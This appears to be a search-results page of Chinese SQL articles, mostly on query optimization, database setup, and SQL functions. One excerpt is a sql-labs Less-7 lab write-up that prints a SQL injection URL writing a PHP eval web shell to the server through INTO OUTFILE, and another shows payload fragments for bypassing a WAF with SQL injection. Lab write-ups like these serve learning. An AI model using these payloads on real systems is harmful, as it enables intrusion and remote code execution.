首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏凹凸玩数据

    SQL优化场景+案例

    场景分析 案例1、最左匹配 案例2、隐式转换 案例3、大分页 案例4、in + order by 案例5、范围查询阻断,后续字段不能走索引 案例6、不等于、不包含不能用到索引的快速搜索。 (可以用到ICP) 案例7、优化器选择不使用索引的情况 案例8、复杂查询 案例9、asc和desc混用 案例10、大数据 资料 前言 在应用开发的早期,数据量少,开发人员开发功能时更重视功能上的实现,随着生产数据的增长 语句:修改SQL、IN 查询分段、时间查询分段、基于上一次数据过滤 改用其他实现方式:ES、数仓等 数据碎片处理 场景分析 案例1、最左匹配 索引 KEY `idx_shopid_orderno` (` >、NOT EXISTS、NOT IN、NOT LIKE等 案例7、优化器选择不使用索引的情况 如果要求访问的数据量很小,则优化器还是会选择辅助索引,但是当访问的数据占整个表中数据的蛮大一部分时(一般是 ,可能数据量会很大,如果在方案的选择上,最终选择存储在MySQL上,并且做7天等有效期的保存。

    69540发布于 2021-05-07
  • 来自专栏小树洞

    SQL优化案例1

    原始SQL如下,MySQL版本5.7.19。

    48820发布于 2021-02-25
  • 来自专栏chimchim要努力变强啊

    flink sql实战案例

    目录 一、背景 二、流程 三、案例 1.flink sql读取 Kafka 并写入 MySQL source sink insert 2.flinksql读kafka写入kudu source sink insert 四、注意点 1.断点续传 2.实时采集 3.回溯问题 ---- 一、背景 使用flink sql实时同步一下数据 二、流程 总的来说就三步 source-->>sink->>insert 三、案例 1.flink sql读取 Kafka 并写入 MySQL source CREATE TABLE source_table ( user_id VARCHAR, item_id

    1.3K20编辑于 2022-11-13
  • 来自专栏全栈程序员必看

    SQL Server 2014 Win7 Win10 安装详解 SQL Server 2017 2019 Linux及SQL TSQL ETL实用案例

    注: 1 SQL案例部分详见博客专栏链接 : SQL基础操作_110个微案例 用户自定义存储过程实战 Kettle应用实战与50个案例代码 2 其它数据库安装链接: Mysql 8(多实例) Windows解压配置安装 SQL Server 2017(2019) Linux安装手册 MySQL 8.0 CentOS 7安装手册 3 Win10 安装时的”需要microsoft.net 准备 环境说明 SQL Server 2014可以安装在一下window平台上(更多可参见官网介绍): 1 Win7 64位 2 Win10 专业版,详见文末附图 3 Windows Server 2008 Server的类型. 7 选择SQL Server的功能,勾选相关服务后,根据需要更改安装目录. 8 功能规则 9 设置实例ID的名称,这里一般选择默认值.如果在一台机器里安装两个实例,则则需要新起个名字 找到程序和功能 Step4:点击启用或关闭Windows功能 Step5:勾选”.NET Framework 3.5(包括.NET2.0和3.0)”以及它的子项 Step6:等待系统更新完毕 Step7

    2.3K20编辑于 2022-07-22
  • 来自专栏网安菜鸟成长记

    sql-labs-Less-7|SQL注入

    前言: 本关卡为sql-labs系列less-7,本关个人认为比较简单,讲的比较详细,会有点啰嗦,谅解~如有错误的地方欢迎师傅们指正! sql注入语句为: http://localhost/sql-labs/Less-7/?id=-1’)) union select 1,2,’<?php @eval($_POST["123"]);? >’ into outfile “D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php”–+ '<?php @eval($_POST["123"]);? "D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php"是sql-labs/less-7文件的存放路径(根据你自己的安装路径来写),test.php为木马上传以后的保存文件

    84810发布于 2020-10-28
  • 来自专栏一个爱吃西瓜的程序员

    学习SQL7】-函数

    根据用途不同,SQL中的函数大致可以分为算术函数、字符串函数、日期函数、转换函数和聚合函数。 INSERT INTO SampleMath VALUES (NULL, NULL, NULL);INSERT 0 1 INSERT INTO SampleMath VALUES (NULL, 7, 执行结果: m | n | p----------+---+--- 500.000 | 0 | -180.000 | 0 | | | | 7 AS mod_col FROM SampleMath; 执行结果: n | p | mod_col---+---+--------- 0 | | 0 | | | | 7 ---+---+----------- 500.000 | 0 | 500 -180.000 | 0 | -180 | | | 7

    1.5K120发布于 2018-04-04
  • 来自专栏大数据成神之路

    Hive SQL经典优化案例

    HiveSQL经典优化案例一: 1.1 将要执行的查询(执行了 1个多小时才出结果): SELECT dt as DATA_DATE,STRATEGY,AB_GROUP,SOURCE, count HiveSQL经典优化案例二: 问题描述:一个复杂的SQL,查询执行一段时间后报错:基本上是查不出来; 分析函数对于大表来说不是 hive的强项,这个时候我们将其分解成很多子集,并且合理利用 hive HiveSQL经典优化案例三: 如下SQL,用到了 PERCENTILE_APPROX 函数,问题描述:如下SQL,用到了 PERCENTILE_APPROX 函数,个人初步分析认为:由于用到该函数的次数太多 我仔细查了一下该函数,发现:它是支持“数组传参”的,那么就不难找到优化该SQL的方法了。 ? 3.1 原SQL性能测试: ? 3.2 优化后的SQL,性能测试: ? 优化后的SQL,性能提升了4倍多。 ? ? ? 版权声明: 本文为大数据技术与架构整理,原作者独家授权。未经原作者允许转载追究侵权责任。 编辑|冷眼丶

    1.8K30发布于 2020-09-27
  • 来自专栏猴子聊数据分析

    7张图学会SQL

    ​ 我是一颗橙子: 很多朋友平时处理数据可能更熟悉Excel,提到SQL就想逃避,殊不知SQL在处理大量数据时有Excel无法比拟的优势。 而且根据二八定律,其实只需掌握20%SQL的基础内容,就足以胜任80%的常见工作啦。 因此,我这里总结出了一份7周快速掌握SQL基础的指南,每周完成一张图里的内容就可以了啦。 第1周:SQL入门 学习SQL语句的书写语法和规则 可以双击图片放大 第2周:查询基础 Select查询语句是SQL中最基础也是最重要的语句,这周我们就来利用Select来对表中的数据进行查询。 第7周:集合运算 在有多张表的情况下,表和表之间的运算和联系就变得很重要,利用集合运算就可以将不同表中的数据整合起来。 总结 7周的内容掌握的如何? 可以用下面这张图来汇总复习一下 我是猴子社群会员,知乎:一颗橙子 这是第32期下周很重要, 精通某项技能大约需要7年时间, 如果你活到88岁,11岁之后你还有11个成为某个领域大师的机会, 这就是你一生的许多辈子

    95600发布于 2019-07-11
  • 来自专栏猴子聊数据分析

    7张图学会SQL

    我是一颗橙子: 很多朋友平时处理数据可能更熟悉Excel,提到SQL就想逃避,殊不知SQL在处理大量数据时有Excel无法比拟的优势。 而且根据二八定律,其实只需掌握20%SQL的基础内容,就足以胜任80%的常见工作啦。 因此,我这里总结出了一份7周快速掌握SQL基础的指南,每周完成一张图里的内容就可以了啦。 第1周:SQL入门 学习SQL语句的书写语法和规则 可以双击图片放大 第2周:查询基础 Select查询语句是SQL中最基础也是最重要的语句,这周我们就来利用Select来对表中的数据进行查询。 第7周:集合运算 在有多张表的情况下,表和表之间的运算和联系就变得很重要,利用集合运算就可以将不同表中的数据整合起来。 总结 7周的内容掌握的如何? 可以用下面这张图来汇总复习一下 我是猴子社群会员,知乎:一颗橙子 这是第32期下周很重要, 精通某项技能大约需要7年时间, 如果你活到88岁,11岁之后你还有11个成为某个领域大师的机会, 这就是你一生的许多辈子

    52530发布于 2019-08-30
  • 来自专栏腾讯云数据库专家服务

    MySQL案例sql_mode详解

    前言 相信看过上一篇文章《MySQL案例:一个数据丢失惨》的童鞋,都应该意识到,sql_mode是一个非常关键的配置,接下来就带来该配置项的详细解析。 sql_mode详解 sql_mode,会直接影响SQL语法支持和数据校验,它包含非常多的选项,其中5.7版本的默认值是“ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE 最重要的选项 sql_mode最重要的选项,包括以下3个: (1)ANSI:该选项决定SQL语法支持,设置为ANSI,会更加遵守标准SQL语法。 (7)HIGH_NOT_PRECEDENCE:该选项决定not操作的优先级;启用后,NOT a BETWEEN b AND c被解析为NOT (a BETWEEN b AND c);在一些旧版本中,NOT 2)对于5.7版本,sql_mode保持默认值即可; (3)对于8.0版本,sql_mode也保持默认值即可。

    2.5K60发布于 2020-12-12
  • 来自专栏捡田螺的小男孩

    SQL优化思路+经典案例分析

    SQL调优这块呢,大厂面试必问的。最近金九银十嘛,所以整理了SQL的调优思路,并且附几个经典案例分析。 1.慢SQL优化思路。 慢查询经典案例分析 2.1 案例1:隐式转换 我们创建一个用户user表 CREATE TABLE user ( id int(11) NOT NULL AUTO_INCREMENT, userId 如下,查询条件列是user_id 2.3 案例3:深分页问题 limit深分页问题,会导致慢查询,应该大家都司空见惯了吧。 limit深分页为什么会变慢呢? 日常开发中,大家注意一下这个场景哈 参考与感谢 慢SQL优化一点小思路[1] SQL优化万能公式:5 大步骤 + 10 个案例[2] 参考资料 [1] 慢SQL优化一点小思路: https://juejin.cn /post/7048974570228809741#heading-7 [2] SQL优化万能公式:5 大步骤 + 10 个案例: https://developer.aliyun.com/article

    1.6K10编辑于 2023-02-24
  • 来自专栏杨建荣的学习笔记

    SQL优化案例一则

    这是学习笔记的第 1978 篇文章 今天优化了几个SQL问题,拿出来两个做下总结和分享。 第一条SQL如下,内容做了删减。 ,tid 数据量:3000多万 索引字段:cdb_members.uid 数据量:700多万 索引字段:cdb_memberfields.uid 数据量:3000多万 对于这样一个SQL 所以整个SQL的关注目标先在于where子句: p.tid='xxxxx' AND p.invisible='0' 根据测试,这个数据量也相对小一些: >>SELECT count(*) -> ref: test.m.uid rows: 1 Extra: 3 rows in set (0.00 sec) 从执行计划来看,瓶颈点就在于第1部分了,整个SQL 改造后的语句如下: SELECT SQL_NO_CACHE p.*, m.uid, m.username, 。。。

    66120发布于 2019-05-17
  • 来自专栏Khan安全团队

    通过 SQL 函数绕过 SQL 注入 WAF 的案例研究

    下面的示例描述了在 SQL 注入中使用 false 值的传统方式。 false And 0 And 1 And 50=60 Any number that are not the same will equal to (0, false, null)kleiton0x7e 通过 SQL 函数绕过 SQL 注入 WAF 的案例研究 使用 And 0 的另一种方法 以下方法是其各自的 SQL 支持的新发现的查询,作为声明 false、null 或 0 值的新方法 下面的示例描述了在 SQL 注入中使用 false 值的传统方式。 -0),(0*1337-0), (0*1337-0),(0*1337-0),(0*1337-0)--+ 使用 0xHEX 值绕过静态 Web 应用程序防火墙 由于 0xHEX 值在 SQL

    59120编辑于 2022-01-27
  • 来自专栏全栈程序员必看

    【shell案例】CentOS7安装MySQL脚本案例

    前言 此脚本为一个学员在工作中遇到在centos7中安装mysql的问题,于是安排一个学员花了15分钟写了一个脚本,可以正常安装使用。 /bin/bash file=mysql57-community-release-el7-10.noarch.rpm mkdir -p /app cd /app if [ -f "$file" ];then 文件已存在,无需下载" else echo "正在下载所需源rpm包请稍后" wget https://dev.mysql.com/get/mysql57-community-release-el7- echo "mysql 安装成功,现在开始启动" systemctl start mysqld else echo "mysql安装出现了问题,请排查" exit 2 fi sql_prot =`lsof -i:3306 |wc -l` if [ $sql_prot -gt 0 ];then echo "mysql已经启动" else "mysql 未启动,准备查看配置文件" fi echo

    66520编辑于 2022-09-01
  • 来自专栏捞月亮的小北

    7. 特殊SQL的执行

    t_student(student_id,student_name,clazz_id)

    24010编辑于 2023-12-01
  • 来自专栏bisal的个人杂货铺

    优雅编写SQL的几个案例

    罗老师写的这篇文章非常实用《优雅的SQL编写》,借鉴于此。 https://www.modb.pro/db/29713? xzs= 在分析v$sql或者dba_hist_sqlstat的时候,由于时常需要计算单次执行的相关指标,目前看到多数人用的是类似这样的写法, elapsed_time / CASE WHEN 这时候可以优雅地利用科学计数法写为另一种写法, 这就很准确且易识别的转换成秒了, 转成秒: elapsed_time / 1e6 SQL> select 1e6 from dual; 1E6 前面是一个数字,中间跟一个e(大小写不限),后面跟一个整数(正负不限)就可以, n.nEm = n.n * 10^m 例如, 1.1e1 = 1.1*10^1=11 10e6= 10 * 10^6 = 10^7 另外,如果分析的dba_hist_sqlstat, 不可避免的需要按时间段去做过滤,通常的做法是,  select sql_id, to_char(begin_interval_time

    60940发布于 2021-09-08
  • 来自专栏互联网开发者交流社区

    SQL基础分页存储过程(案例一)

    1 --分页 存储过程 案例 2 3 -- 所执行的存储过程 4 create proc pageForUsers 5 @currPage int, --当前页数 6 @pageSize int, --每页多少条记录 7 @count int output --总记录数 8 as 9

    60650发布于 2018-07-04
  • 来自专栏leehao

    SQL中with recursive用法案例详解

    SQL提供了递归查询,可将当前查询结果作为下一次的查询集合进行再次查询,最后得到我们想要的结果。

    49310编辑于 2025-02-11
  • 来自专栏数栈技术分享

    数栈SQL优化案例:OR条件优化

    本文整理自:袋鼠云技术荟 | SQL优化案例(2):OR条件优化 数栈是云原生—站式数据中台PaaS,我们在github上有一个有趣的开源项目:https://github.com/DTStack/flinkx 常见OR使用场景,请阅读以下案例案例一:不同列使用OR条件查询 1. 待优化场景 SELECT .. .. 通过对比优化前后的执行计划,可以明显看出,将SQL拆分成两个子查询,再使用union对结果进行合并,稳定性和安全性更好,性能更高。 案例二:同一列使用OR查询条件 1. SQL的性能,需要进行比较改写。 可以看出优化后的SQL比原始SQL快了30秒,执行效率提升约50倍。 案例三:优化关联SQL OR条件 1.

    99110发布于 2021-05-14
  • 来自专栏MySQL参数系列

    sql_mode案例一则

    BY, expression #1 of SELECT list contains nonaggregated column 'aaa.aa.b'; this is incompatible with sql_mode ba | +------+-----------------+ 2 rows in set (0.00 sec) mysql> show variables like '%sql_mode =' '; Query OK, 0 rows affected (0.00 sec) mysql> show variables like '%sql_mode%'; +------------- --+-------+ | Variable_name | Value | +---------------+-------+ | sql_mode | | +---------- | +---------------+-------+ 1 row in set (0.00 sec) mysql> show variables like '%sql_mode%'; +----

    40840编辑于 2023-02-15
领券